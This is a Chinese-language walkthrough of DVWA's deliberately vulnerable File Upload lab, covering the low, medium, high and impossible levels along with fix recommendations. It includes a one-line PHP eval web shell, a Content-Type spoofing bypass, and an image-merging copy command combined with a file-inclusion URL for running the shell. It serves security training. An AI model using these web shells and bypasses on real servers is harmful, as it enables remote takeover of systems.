网络安全 DVWA通关指南 DVWA File Upload（文件上传）

DVWA_File_Upload_0">DVWA File Upload（文件上传）

文章目录

DVWA File Upload（文件上传）
- 修复建议
Low
Medium
High
Impossible

修复建议

1、使用白名单限制可以上传的文件扩展名

2、注意0x00截断攻击（PHP更新到最新版本）

3、对上传后的文件统一随机命名，不允许用户控制扩展名

4、上传文件的存储目录禁用执行权限

Low

1、分析网页源代码

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}
}?><?php
// 检查是否接收到表单提交的“Upload”按钮
if( isset( $_POST[ 'Upload' ] ) ) {// 定义目标文件夹路径，这里假设DVWA_WEB_PAGE_TO_ROOT是一个预定义常量，指向网站根目录$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// 获取上传文件的原始名称，并将其附加到目标路径上，以构建完整的文件存储路径$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// 使用PHP内置函数move_uploaded_file尝试将临时文件移动到目标路径if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// 如果文件未成功移动（例如，由于权限问题或文件大小超出限制等），输出错误信息$html .= '<pre>Your image was not uploaded.</pre>';}else {// 文件成功上传至指定位置，输出成功信息$html .= "<pre>{$target_path} successfully uploaded!</pre>";}
}// 注解：
// 上述代码实现了一个简单的文件上传功能，但缺少必要的安全验证，如文件类型检查、文件大小限制以及防止文件名注入攻击等。
// 在实际生产环境中，应在将文件移动到目标路径之前，添加详细的验证和清理步骤以确保上传行为的安全性。
?>

2、Low级别没有对上传的文件进行任何限制，我们可以直接上传一句话木马，然后使用中国蚁剑连接。

<?php @eval($_POST['attack']) ?>

使用蚁剑连接一句话木马

启动AntSword应用后，在界面的任意空白区域点击鼠标右键，这时会出现一个菜单。在弹出的菜单中，选择「添加数据」选项。
进入到添加数据的页面，根据屏幕提示填写所需的信息。确保每一项必填内容都已正确无误地填写完毕，点击「测试连接」按钮，检查连接是否成功。
填写完成后，点击页面中的「添加」按钮，这时候你刚刚输入的信息会被保存为一个新的Shell条目，并能在数据管理列表中看到它。
接下来，双击这个新添加的Shell条目，系统将带你进入该Shell对应的文件管理界面，从而可以进一步操作和管理相关文件。

连接木马成功后，直接获取Webshell，可以在服务器上进行任意操作。

Medium

1、分析网页源代码

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?><?php// 检查是否设置了 'Upload' POST 参数，这通常意味着文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {// 设置目标上传路径，结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads目录下$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// 使用原始文件名构建完整的文件保存路径$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// 获取上传文件的信息$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];      // 文件名$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];      // 文件类型（MIME类型）$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];      // 文件大小// 检查文件是否为允许的图像格式（JPEG或PNG）且文件大小小于100KBif( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {// 尝试将上传的临时文件移动到指定的目标路径if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// 如果文件无法移动（可能是权限问题或路径错误），输出错误信息$html .= '<pre>Your image was not uploaded.</pre>';}else {// 文件成功上传，输出成功信息及上传后的文件路径$html .= "<pre>{$target_path} successfully uploaded!</pre>";}}else {// 如果文件不是允许的类型或超过大小限制，输出错误信息$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

Medium级别限制上传文件类型只能为JPEG或PNG，同时限制文件大小不能超过100KB。这个时候再上传一句话木马，会提示上传失败。

2、使用Burp Suite抓取一句话木马文件上传的包，发现上传的PHP文件类型在包里。

修改1.php文件的文件类型为“image/png”，然后Foward。

Content-Type: image/png;

虽然我们上传的文件是PHP文件，但还是可以通过修改网页HTTP报文中文件类型，来绕过网页白名单检查。

High

1、分析网页源代码

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?><?php// 检查是否设置了 'Upload' POST 参数，表明文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {// 设置文件上传的目标目录，结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads文件夹$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";// 从上传文件名中提取文件的基本名称，包括其扩展名，用于构建完整的目标文件路径$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// 获取上传文件的详细信息$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];       // 原始文件名$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // 文件扩展名，通过查找最后一个点的位置来提取$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];       // 文件大小（字节）$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    // 上传文件的临时存储路径// 检查文件扩展名是否为允许的图像格式（不区分大小写），文件大小是否小于100KB，并确认是有效的图像文件if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) { // 使用getimagesize()确保文件是可识别的图像// 尝试将上传的临时文件移动到指定的目标路径if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// 如果文件未能成功移动（可能因权限问题或路径错误），输出错误信息$html .= '<pre>Your image was not uploaded.</pre>';}else {// 文件成功上传，输出包含文件路径的成功信息$html .= "<pre>{$target_path} successfully uploaded!</pre>";}}else {// 如果文件扩展名不符、过大或不是有效的图像文件，输出错误信息$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

getimagesize()函数，用于获取图像文件的大小以及相关信息。该函数会检查图片文件头，如果不存在或不是一个有效的图像文件则报错。

1、我们可以准备一张图片和一句话木马的文件，通过copy命令将两个文件合并成一个文件。

copy muma.png/b + muma.php/a 1.png

屏幕截图 2024-06-23 155102

文件上传成功

2、但此时2.jpg是个图像文件，无法使用蚁剑连接。我们需要将2.jpg作为php文件执行，使用文件包含漏洞( File Inclusion)，构造payload。

http://dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA-master\hackable\uploads\1.png

Impossible

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// No$html .= '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>